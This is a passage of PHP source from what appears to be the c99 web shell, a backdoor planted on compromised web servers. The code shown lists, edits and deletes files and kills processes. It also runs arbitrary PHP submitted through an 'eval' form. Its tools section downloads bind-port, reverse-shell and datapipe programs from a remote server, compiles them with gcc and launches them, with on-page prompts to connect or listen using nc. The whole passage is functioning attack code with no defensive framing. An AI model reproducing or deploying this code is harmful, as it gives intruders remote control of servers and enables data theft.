2081   {$row[] = "<b>Owner/Group</b>";} 
2082    $row[] = "<b>Perms</b>"; 
2083    $row[] = "<b>Action</b>"; 
2084    $parsesort = parsesort($sort); 
2085    $sort = $parsesort[0].$parsesort[1]; 
2086    $k = $parsesort[0]; 
2087    if ($parsesort[1] != "a") {$parsesort[1] = "d";} 
2088    $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; 
2089    $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; 
2090    $row[$k] .= $y; 
2091    for($i=0;$i<count($row)-1;$i++) 
2092    { 
2093     if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} 
2094    } 
2095    $v = $parsesort[0]; 
2096    usort($objects["folders"], "tabsort"); 
2097    usort($objects["links"], "tabsort"); 
2098    usort($objects["files"], "tabsort"); 
2099    if ($parsesort[1] == "d") 
2100    { 
2101     $objects["folders"] = array_reverse($objects["folders"]); 
2102     $objects["files"] = array_reverse($objects["files"]); 
2103    } 
2104    $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); 
2105    $tab = array(); 
2106    $tab["cols"] = array($row); 
2107    $tab["head"] = array(); 
2108    $tab["folders"] = array(); 
2109    $tab["links"] = array(); 
2110    $tab["files"] = array(); 
2111    $i = 0; 
2112    foreach ($objects as $a) 
2113    { 
2114     $v = $a[0]; 
2115     $o = basename($v); 
2116     $dir = dirname($v); 
2117     if ($disp_fullpath) {$disppath = $v;} 
2118     else {$disppath = $o;} 
2119     $disppath = str2mini($disppath,60); 
2120     if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} 
2121     elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} 
2122     foreach ($regxp_highlight as $r) 
2123     { 
2124      if (ereg($r[0],$o)) 
2125      { 
2126       if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();} 
2127       else 
2128       { 
2129        $r[1] = round($r[1]); 
2130        $isdir = is_dir($v); 
2131        if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) 
2132        { 
2133         if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} 
2134         $disppath = $r[2].$disppath.$r[3]; 
2135         if ($r[4]) {break;} 
2136        } 
2137       } 
2138      } 
2139     } 
2140     $uo = urlencode($o); 
2141     $ud = urlencode($dir); 
2142     $uv = urlencode($v); 
2143     $row = array(); 
2144     if ($o == ".") 
2145     { 
2146      $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; 
2147      $row[] = "LINK"; 
2148     } 
2149     elseif ($o == "..") 
2150     { 
2151      $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; 
2152      $row[] = "LINK"; 
2153     } 
2154     elseif (is_dir($v)) 
2155     { 
2156      if (is_link($v)) 
2157      { 
2158       $disppath .= " => ".readlink($v); 
2159       $type = "LINK"; 
2160       $row[] =  "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; 
2161      } 
2162      else 
2163      { 
2164       $type = "DIR"; 
2165       $row[] =  "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; 
2166       } 
2167      $row[] = $type; 
2168     } 
2169     elseif(is_file($v)) 
2170     { 
2171      $ext = explode(".",$o); 
2172      $c = count($ext)-1; 
2173      $ext = $ext[$c]; 
2174      $ext = strtolower($ext); 
2175      $row[] =  "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; 
2176      $row[] = view_size($a[1]); 
2177     } 
2178     $row[] = date("d.m.Y H:i:s",$a[2]); 
2179     if (!$win) {$row[] = $a[3];} 
2180     $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; 
2181     if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} 
2182     else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} 
2183     if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;} 
2184     else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;} 
2185     if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} 
2186     elseif (is_link($v)) {$tab["links"][] = $row;} 
2187     elseif (is_dir($v)) {$tab["folders"][] = $row;} 
2188     elseif (is_file($v)) {$tab["files"][] = $row;} 
2189     $i++; 
2190    } 
2191   } 
2192   // Compiling table 
2193   $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); 
2194   echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#000000 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; 
2195   foreach($table as $row) 
2196   { 
2197    echo "<tr>\r\n"; 
2198    foreach($row as $v) {echo "<td>".$v."</td>\r\n";} 
2199    echo "</tr>\r\n"; 
2200   } 
2201   echo "</table><hr size=\"1\" noshade><p align=\"right\"> 
2202   <script> 
2203   function ls_setcheckboxall(status) 
2204   { 
2205    var id = 1; 
2206    var num = ".(count($table)-2)."; 
2207    while (id <= num) 
2208    { 
2209     document.getElementById('actbox'+id).checked = status; 
2210     id++; 
2211    } 
2212   } 
2213   function ls_reverse_all() 
2214   { 
2215    var id = 1; 
2216    var num = ".(count($table)-2)."; 
2217    while (id <= num) 
2218    { 
2219     document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; 
2220     id++; 
2221    } 
2222   } 
2223   </script> 
2224   <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">  
2225   <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; 
2226   if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) 
2227   { 
2228    echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; 
2229   } 
2230   echo "<select name=act><option value=\"".$act."\">With selected:</option>"; 
2231   echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; 
2232   echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; 
2233   if ($usefsbuff) 
2234   { 
2235    echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; 
2236    echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; 
2237    echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; 
2238   } 
2239   echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>"; 
2240   echo "</form>"; 
2241  } 
2242 } 
2243 if ($act == "tools") 
2244 { 
2245  $bndportsrcs = array( 
2246   "c99sh_bindport.pl"=>array("Using PERL","perl %path %port"), 
2247   "c99sh_bindport.c"=>array("Using C","%path %port %pass") 
2248  ); 
2249  $bcsrcs = array( 
2250   "c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"), 
2251   "c99sh_backconn.c"=>array("Using C","%path %host %port") 
2252  ); 
2253  $dpsrcs = array( 
2254   "c99sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), 
2255   "c99sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") 
2256  ); 
2257  if (!is_array($bind)) {$bind = array();} 
2258  if (!is_array($bc)) {$bc = array();} 
2259  if (!is_array($datapipe)) {$datapipe = array();} 
2260   
2261  if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} 
2262  if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} 
2263    
2264  if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} 
2265  if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} 
2266   
2267  if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} 
2268  if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} 
2269  if (!empty($bindsubmit)) 
2270  { 
2271   echo "<b>Result of binding port:</b><br>"; 
2272   $v = $bndportsrcs[$bind["src"]]; 
2273   if (empty($v)) {echo "Unknown file!<br>";} 
2274   elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} 
2275   else 
2276   { 
2277    $w = explode(".",$bind["src"]); 
2278    $ext = $w[count($w)-1]; 
2279    unset($w[count($w)-1]); 
2280    $srcpath = join(".",$w).".".rand(0,999).".".$ext; 
2281    $binpath = $tmpdir.join(".",$w).rand(0,999); 
2282    if ($ext == "pl") {$binpath = $srcpath;} 
2283    @unlink($srcpath); 
2284    $fp = fopen($srcpath,"ab+"); 
2285    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} 
2286    elseif (!$data = c99getsource($bind["src"])) {echo "Can't download sources!";} 
2287    else 
2288    { 
2289     fwrite($fp,$data,strlen($data)); 
2290     fclose($fp); 
2291     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath);  @unlink($srcpath);} 
2292     $v[1] = str_replace("%path",$binpath,$v[1]); 
2293     $v[1] = str_replace("%port",$bind["port"],$v[1]); 
2294     $v[1] = str_replace("%pass",$bind["pass"],$v[1]); 
2295     $v[1] = str_replace("//","/",$v[1]); 
2296     $retbind = myshellexec($v[1]." > /dev/null &"); 
2297     sleep(5); 
2298     $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); 
2299     if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} 
2300     else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";} 
2301    } 
2302    echo "<br>"; 
2303   } 
2304  } 
2305  if (!empty($bcsubmit)) 
2306  { 
2307   echo "<b>Result of back connection:</b><br>"; 
2308   $v = $bcsrcs[$bc["src"]]; 
2309   if (empty($v)) {echo "Unknown file!<br>";} 
2310   else 
2311   { 
2312    $w = explode(".",$bc["src"]); 
2313    $ext = $w[count($w)-1]; 
2314    unset($w[count($w)-1]); 
2315    $srcpath = join(".",$w).".".rand(0,999).".".$ext; 
2316    $binpath = $tmpdir.join(".",$w).rand(0,999); 
2317    if ($ext == "pl") {$binpath = $srcpath;} 
2318    @unlink($srcpath); 
2319    $fp = fopen($srcpath,"ab+"); 
2320    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} 
2321    elseif (!$data = c99getsource($bc["src"])) {echo "Can't download sources!";} 
2322    else 
2323    { 
2324     fwrite($fp,$data,strlen($data)); 
2325     fclose($fp); 
2326     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} 
2327     $v[1] = str_replace("%path",$binpath,$v[1]); 
2328     $v[1] = str_replace("%host",$bc["host"],$v[1]); 
2329     $v[1] = str_replace("%port",$bc["port"],$v[1]); 
2330     $v[1] = str_replace("//","/",$v[1]); 
2331     $retbind = myshellexec($v[1]." > /dev/null &"); 
2332     echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>"; 
2333    } 
2334   } 
2335  } 
2336  if (!empty($dpsubmit)) 
2337  { 
2338   echo "<b>Result of datapipe-running:</b><br>"; 
2339   $v = $dpsrcs[$datapipe["src"]]; 
2340   if (empty($v)) {echo "Unknown file!<br>";} 
2341   elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} 
2342   else 
2343   { 
2344    $srcpath = $tmpdir.$datapipe["src"]; 
2345    $w = explode(".",$datapipe["src"]); 
2346    $ext = $w[count($w)-1]; 
2347    unset($w[count($w)-1]); 
2348    $srcpath = join(".",$w).".".rand(0,999).".".$ext; 
2349    $binpath = $tmpdir.join(".",$w).rand(0,999); 
2350    if ($ext == "pl") {$binpath = $srcpath;} 
2351    @unlink($srcpath); 
2352    $fp = fopen($srcpath,"ab+"); 
2353    if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} 
2354    elseif (!$data = c99getsource($datapipe["src"])) {echo "Can't download sources!";} 
2355    else 
2356    { 
2357     fwrite($fp,$data,strlen($data)); 
2358     fclose($fp); 
2359     if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} 
2360     list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); 
2361     $v[1] = str_replace("%path",$binpath,$v[1]); 
2362     $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); 
2363     $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); 
2364     $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); 
2365     $v[1] = str_replace("//","/",$v[1]); 
2366     $retbind = myshellexec($v[1]." > /dev/null &"); 
2367     sleep(5); 
2368     $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); 
2369     if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} 
2370     else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";} 
2371    } 
2372    echo "<br>"; 
2373   } 
2374  } 
2375  ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php 
2376  foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";} 
2377  ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form> 
2378 <b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php 
2379 foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} 
2380 ?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form> 
2381 Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> 
2382 <b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php 
2383 foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} 
2384 ?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php 
2385 } 
2386 if ($act == "processes") 
2387 { 
2388  echo "<b>Processes:</b><br>"; 
2389  if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} 
2390  else {$handler = "tasklist";} 
2391  $ret = myshellexec($handler); 
2392  if (!$ret) {echo "Can't execute \"".$handler."\"!";} 
2393  else 
2394  { 
2395   if (empty($processes_sort)) {$processes_sort = $sort_default;} 
2396   $parsesort = parsesort($processes_sort); 
2397   if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} 
2398   $k = $parsesort[0]; 
2399   if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} 
2400   else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} 
2401   $ret = htmlspecialchars($ret); 
2402   if (!$win) 
2403   { 
2404    if ($pid) 
2405    { 
2406     if (is_null($sig)) {$sig = 9;} 
2407     echo "Sending signal ".$sig." to #".$pid."... "; 
2408     if (posix_kill($pid,$sig)) {echo "OK.";} 
2409     else {echo "ERROR.";} 
2410    } 
2411    while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);} 
2412    $stack = explode("\n",$ret); 
2413    $head = explode(" ",$stack[0]); 
2414    unset($stack[0]); 
2415    for($i=0;$i<count($head);$i++) 
2416    { 
2417     if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} 
2418    } 
2419    $prcs = array(); 
2420    foreach ($stack as $line) 
2421    { 
2422     if (!empty($line)) 
2423 { 
2424  echo "<tr>"; 
2425      $line = explode(" ",$line); 
2426      $line[10] = join(" ",array_slice($line,10)); 
2427      $line = array_slice($line,0,11); 
2428      if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} 
2429      $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; 
2430      $prcs[] = $line; 
2431      echo "</tr>"; 
2432     } 
2433    } 
2434   } 
2435   else 
2436   { 
2437    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);} 
2438    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);} 
2439    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);} 
2440    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);} 
2441    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);} 
2442    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);} 
2443    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);} 
2444    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);} 
2445    while (ereg("  ",$ret)) {$ret = str_replace("  ","",$ret);} 
2446    while (ereg("",$ret)) {$ret = str_replace("","",$ret);} 
2447    while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} 
2448    $ret = convert_cyr_string($ret,"d","w"); 
2449    $stack = explode("\n",$ret); 
2450    unset($stack[0],$stack[2]); 
2451    $stack = array_values($stack); 
2452    $head = explode("",$stack[0]); 
2453    $head[1] = explode(" ",$head[1]); 
2454    $head[1] = $head[1][0]; 
2455    $stack = array_slice($stack,1); 
2456    unset($head[2]); 
2457    $head = array_values($head); 
2458    if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} 
2459    else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} 
2460    if ($k > count($head)) {$k = count($head)-1;} 
2461    for($i=0;$i<count($head);$i++) 
2462    { 
2463     if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} 
2464    } 
2465    $prcs = array(); 
2466    foreach ($stack as $line) 
2467    { 
2468     if (!empty($line)) 
2469     { 
2470      echo "<tr>"; 
2471      $line = explode("",$line); 
2472      $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); 
2473      $line[2] = intval(str_replace(" ","",$line[2]))*1024;  
2474      $prcs[] = $line; 
2475      echo "</tr>"; 
2476     } 
2477    } 
2478   } 
2479   $head[$k] = "<b>".$head[$k]."</b>".$y; 
2480   $v = $processes_sort[0]; 
2481   usort($prcs,"tabsort"); 
2482   if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} 
2483   $tab = array(); 
2484   $tab[] = $head; 
2485   $tab = array_merge($tab,$prcs); 
2486   echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; 
2487   foreach($tab as $i=>$k) 
2488   { 
2489    echo "<tr>"; 
2490    foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} 
2491    echo "</tr>"; 
2492   } 
2493   echo "</table>"; 
2494  } 
2495 } 
2496 if ($act == "eval") 
2497 { 
2498  if (!empty($eval)) 
2499  { 
2500   echo "<b>Result of execution this PHP-code</b>:<br>"; 
2501   $tmp = ob_get_contents(); 
2502   $olddir = realpath("."); 
2503   @chdir($d); 
2504   if ($tmp) 
2505   { 
2506    ob_clean(); 
2507    eval($eval); 
2508    $ret = ob_get_contents(); 
2509    $ret = convert_cyr_string($ret,"d","w"); 
2510    ob_clean(); 
2511    echo $tmp; 
2512    if ($eval_txt) 
2513    { 
2514     $rows = count(explode("\r\n",$ret))+1; 
2515     if ($rows < 10) {$rows = 10;} 
2516     echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; 
2517    } 
2518    else {echo $ret."<br>";} 
2519   } 
2520   else 
2521   { 
2522    if ($eval_txt) 
2523    { 
2524     echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; 
2525     eval($eval); 
2526     echo "</textarea>"; 
2527    } 
2528    else {echo $ret;} 
2529   } 
2530   @chdir($olddir); 
2531  } 
2532  else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} 
2533  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; 
2534 } 
2535 if ($act == "f") 
2536 { 
2537  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") 
2538  { 
2539   if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} 
2540   else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} 
2541  } 
2542  else 
2543  { 
2544   $r = @file_get_contents($d.$f); 
2545   $ext = explode(".",$f); 
2546   $c = count($ext)-1; 
2547   $ext = $ext[$c]; 
2548   $ext = strtolower($ext); 
2549   $rft = ""; 
2550   foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} 
2551   if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} 
2552   if (empty($ft)) {$ft = $rft;} 
2553   $arr = array( 
2554    array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), 
2555    array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), 
2556    array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), 
2557    array("Code","code"), 
2558    array("Session","phpsess"), 
2559    array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), 
2560    array("SDB","sdb"), 
2561    array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), 
2562    array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), 
2563    array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), 
2564    array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), 
2565    array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") 
2566   ); 
2567   echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; 
2568   foreach($arr as $t) 
2569   { 
2570    if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} 
2571    elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} 
2572    else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} 
2573    echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; 
2574   } 
2575   echo "<hr size=\"1\" noshade>"; 
2576   if ($ft == "info") 
2577   { 
2578    echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; 
2579    if (!$win) 
2580    { 
2581     echo "<tr><td><b>Owner/Group</b></td><td> ";     
2582     $ow = posix_getpwuid(fileowner($d.$f)); 
2583     $gr = posix_getgrgid(filegroup($d.$f)); 
2584     echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); 
2585    } 
2586    echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; 
2587    $fi = fopen($d.$f,"rb"); 
2588    if ($fi) 
2589    { 
2590     if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} 
2591     else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} 
2592     $n = 0; 
2593     $a0 = "00000000<br>"; 
2594     $a1 = ""; 
2595     $a2 = ""; 
